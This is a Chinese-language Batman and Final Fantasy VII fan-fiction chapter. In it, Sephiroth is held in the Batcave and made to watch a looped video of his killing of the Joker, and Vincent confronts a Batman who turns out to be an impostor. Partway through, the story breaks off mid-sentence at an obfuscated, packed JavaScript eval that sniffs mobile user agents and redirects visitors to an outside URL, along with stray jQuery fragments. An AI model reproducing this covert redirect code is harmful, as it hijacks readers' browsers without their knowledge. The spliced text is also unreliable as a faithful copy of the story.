事实证明，在冲动中当面杀死Joker这件事，貌似真的狠狠戳到了蝙蝠侠的肺管子。
隔离舱的钢化玻璃映出Sephy苍白的侧脸，蝙蝠洞特有的寒意正顺着合金地板渗入他的骨髓。电子锁的红色指示灯在头顶规律闪烁，像极了实验室中无处不在的监视器。
现在，他全身的武器装备都被蝙蝠侠和文森特合力解下，身上干净的棉质衬衫和裤子只能让他回忆起曾经穿在身上的实验服——它们是一样的，无论是材质，还是宽松且便利的款式。
隔离舱的隔音效果差得近乎刻意。蝙蝠振翅的簌簌声、远处机械运转的嗡鸣、甚至洞顶水滴坠落的回响，都在不断刺激着他的鼓膜。而正对面屏幕上循环播放的画面才是真正的酷刑——Joker狂妄而尖锐的笑声紧接着头颅飞起的部分循环播放，前一秒还是咯咯作响的气音，下一秒便又变回了那如宝条一般自满的笑声，开了新一轮的折磨。
蝙蝠电脑的蓝光将布鲁斯的影子拉长到整个洞窟，那些尖锐的耳廓轮廓在岩壁上不断变形，衬托着虹膜周围的荧绿色如梦似幻。当第十一次视频回放到Joker的头颅高高飞起的瞬间时，橡胶手套与键盘的摩擦声突然中断，取而代之的是凯夫拉纤维摩擦的细微响动。
“你似乎在越来越烦躁，但你烦躁的来源并不是因为你杀人的行为。”黑暗骑士的声音从背后传来，隔离舱的玻璃映出他绷紧的下颌线，“你薄弱的道德观和过于强大的武力相结合，一旦失控就是一场灾难。”
Sephy的指尖在茶杯边缘划出一道水痕。监控录像里，Joker的紫色西装在黑白画面中晕开一片暗色，像泼洒的墨水。那颗头颅飞起的瞬间被刻意放慢了——蝙蝠侠调整了帧率，让死亡在每一秒里延长成永恒。
“道德观？”他轻声重复，声音在隔离舱的金属墙壁间弹跳，“我记得我和您说明过，韦恩先生——我是神罗的财产，是最优秀的新型改造人，是完美的特种兵。而一名优秀的特种兵所需要的，从来都只是执行命令，那个丑角的行为伤害了一般市民，我有必要、不、我一定要将危险彻底排除。”
洞顶的水珠砸在监控器外壳上，伴随着水滴掉落的声响，第十二遍循环开始。Joker的嘴角在慢镜头下扭曲拉伸，笑声被机械音质过滤后更像电子合成的声音——尖锐、刺耳，永无止境。Sephy的太阳穴突突跳动，那笑声钻进他的耳道，在颅骨内壁来回碰撞。
但Sephy并不后悔——他的行为让蝙蝠洞失去了神谕，但蝙蝠少女仍旧可以继续在夜空中飞翔。
蝙蝠侠的呼吸声在隔离舱外微微一顿，像是被某种无形的刀刃划过。他的影子在岩壁上颤动，仿佛黑暗本身在挣扎。
“执行命令？”他重复道，嗓音低沉得几乎融入洞穴的阴影，“那现在是谁在命令你？你口中的神罗？还是你自己的愤怒？”
Sephy的指节骤然收紧，白瓷茶杯在他掌心发出细微的哀鸣。他还记得听见阿尔弗雷德擦拭这套茶具时，布料与釉面摩擦的沙沙声。这让他下意识松了力道——老管家会难过的。
头顶的白炽灯冰冷刺目，Joker的尖笑从音响里不断溢出，像一根生锈的铁丝，反复刮擦着他的神经。实验室的记忆随之翻涌：消毒水的气味、电极贴片的刺痛、宝条博士镜片后闪烁的冷光。
他不该说谎。
他也不能说谎。
“我不能说我对那个丑角的行为毫无愤怒，”他的声音很轻，像是怕惊动什么，“但文森特提醒了我，是我计划选择了以这样的方式为那些受害者复仇。”
Sephiroth是宝条博士手下最完美的实验品。
“在那之后的行动，我向上的途中只是单纯的遵循《圆盘治安条例》进行的危险排除。治安部门并不在附近，为了保护平民，我只能尽快动手。”
一名优秀的特种兵，应当具有足够强韧的心灵、不为外物所动摇的意志、无坚不摧的力量——可为什么，他心中的那种温软的情绪上涨时，并非是因为那个逃走的目标，而是看着红发的少女从天台边缘摔回到安全的区域呢？
蝙蝠洞陷入死寂。
Sephy垂眸凝视着茶杯，水面倒映着洞顶的钟乳石，像是某个微型宇宙的星群。他不再回应任何质问，仿佛沉默本身就是最锋利的拒绝。
但这沉默并不针对所有人——
当阿尔弗雷德更换餐盘时，他会用睫毛的颤动代替道歉和感谢；当杰森和芭芭拉为Joker之死欢呼雀跃时，他会把覆着焦糖布丁的银匙推向两个孩子；当迪克试图调解布鲁斯与自己的误会时，他翡翠般的瞳孔会结出一层肉眼可见的冰霜。
他只是不再说话。
就像一把收入鞘中的刀。
阿尔弗雷德第三次更换的茶点依然原封不动。瓷盘边缘凝结的水珠顺着Sephy的倒影滑落，在樱桃派酥皮上砸出细小的凹痕。老管家擦拭银质餐刀时，刀面反射出隔离舱外某个隐蔽角落中两个孩子的庆祝活动——杰森正把庆祝用的彩带偷偷塞进蝙蝠车底盘，红发少女的笑声像一串风铃撞在岩壁上。
“您应当尝尝这个，”老管家的声音像温热的毛毯，“这是杰森少爷和芭芭拉小姐的共同点单，他们觉得您应当多享用一些甜食放松一下。”
“不了，我现在的身份并非韦恩家的客人。”少年原本清亮的声音有些沙哑，“摄取过多糖分会损伤我的部分身体机能，请不要再送这些——”
Sephy的拒绝被文森特的靠近打断，那身猩红色的披风与衣物接触，发出细微的沙沙声。文森特停在隔离舱前，那双猩红色的眸子透过玻璃注视着Sephy，光线折射间颜色反倒好似褪成了漂亮的琥珀，注视着同样被封印在牢笼中的少年。
“Sephiroth，你是被期待着诞生的、被爱所包裹着的奇迹之子。”文森特的声音低沉而平稳，他的语气无限接近于一名真正温和的长辈，金属利爪轻轻贴上舱壁，尖锐的指尖与强化玻璃相触，却没有施加任何破坏的力道。相反，一道柔和的白色光晕自接触点扩散开来，如同水纹般缓缓漫过整个隔离舱。
“抱歉……我没能早些察觉你的痛苦。”文森特的声音近乎叹息，“这件事，我会亲自和韦恩谈谈。”
白光笼罩的瞬间，Sephy的呼吸终于不再紧绷。外界的噪音——那些机械的嗡鸣、遥远的谈笑、甚至是自己血液奔流的声响——全都被一层柔软的屏障隔绝在外。实验室出身的少年从不在意那些无处不在的监视，真正让他难以放松的是蝙蝠侠播放视频中Joker的笑声，那声音尖锐而自满，总会让他想到宝条。
他的睫毛轻轻颤动，像是终于卸下重担的困兽。长久以来挺直的脊背一点点松懈，最终，他缓缓闭上了眼睛。
----------------------------------
那个孩子终于获得了短暂的安宁，但这并不意味着文森特会就此
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15410185|167207||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
罢休。
当他转身时，猩红的披风如刀锋般划破空气，蝙蝠洞的阴影在他脚下扭曲退缩，仿佛畏惧他体内蛰伏的某种存在。凯夫拉纤维摩擦的细微声响从暗处传来——布鲁斯·韦恩早已在蝙蝠电脑前等待，全息屏幕的冷光在他的面罩上投下诡谲的纹路，像是某种冰冷的审判。
“你不该这么做。”蝙蝠侠的声音低沉如地底回响，监控画面定格在Joker死亡的第十三帧——飞起的头颅恰好遮挡住Sephy脸上那一瞬的魇足笑意，鲜血在黑白影像中凝结成暗色的冰，擦过少年的脸颊后又失败地被重力所捕捉，“那是个极其危险的兵器，我承认我曾经对他的判断有误，我不该妄想能用常规方式使他的融入人类社会。”
文森特的金属利爪猛地刺入控制台，五道寒光深深嵌入键盘缝隙，金属扭曲的尖锐声响在洞窟内回荡。
“兵器？我不应该？”他的声音像是压抑的火山，每一个音节都裹挟着灼热的怒火，“我最不应该的，就是相信你会善待他！你的家族、你的管家、你的孩子们——他们本可以成为他的锚点，补充他心底的渴望，让那个孩子从杰诺瓦的诱惑中、从兵器的身份中彻底挣脱出来！”
他的怒火几乎要冲破躯壳的束缚，猩红的披风无风自动，曾经宝条对他进行的融合实验险些因此而冲破了意志的束缚，仿佛下一秒就会撕裂这副人类的伪装。
“那个孩子渴望身份认同、渴望建立联系，而你做了什么？”他的声音近乎嘶哑，像是某种野兽的低吼，“我只是离开了不到二十四小时，盖亚在上，你差点把他逼疯！”
蝙蝠洞顶的蝙蝠群骤然惊飞，黑压压的羽翼掠过岩壁，仿佛一场无声的逃亡。而蝙蝠侠站在原地，面罩下的眉头紧锁——文森特的话让他罕见地动摇了一瞬。
“崩溃？这只是正常的战后复盘，他需要通过这种方式认识到自己的错误。”蝙蝠侠的声音依旧冷静，但头盔下透出的困惑几乎具象化，钢蓝色的虹膜无知无觉的被绿色覆盖，“是你在试图将一个危险程度极高的定时炸弹软化成无害的宠物，我所做的一切只是希望他可以明白他的错误。你也看到了，录像中的他并不因为自己杀死了一个人而痛苦，我并不认为这样的作为有什么问题，就像我曾和Sephiroth一起复盘训练中的失误一样。”
“你为他所准备的一切——你怎么敢大言不惭地说他一切正常？还是说你会为你的孩子准备一套同样的处刑？”文森特的声音陡然拔高，眼中翻涌着复杂的情绪——愤怒、愧疚，甚至还有一丝近乎怜悯的悲哀，“你不曾见过，那个将所有痛苦压抑在心底的Sephiroth，最终爆发出来的怒火所伤害的人究竟是一个怎样的数字。Sephy他只是杀了一个人，杀了一个在你们的律法中都早已应当被判决死刑的恶人，这不是他要被你以纯粹的噪音折磨了这么久根本无法休息的理由！”
他缓缓收回利爪，控制台上留下了一枚极其可怖的爪印。
“你怎么知道我没做过？”男人摘下了头盔，望向文森特的绿色双眼中满是挑衅，“萨菲罗斯是我们的孩子，如果不是你带走了祂，我也不必采用这么拙劣的方式来刺激他尽快羽化，以达到另一位的强度。”
“文森特·瓦伦丁，我能感觉到，现在的祂虚弱又强大，脆弱又坚韧，这会是让我的孩子成长最好的机会。”
“感谢蝙蝠侠的谨慎留样，我才有机会趁此机会帮他继续成长——这个孩子一定会比那未来更加完美！”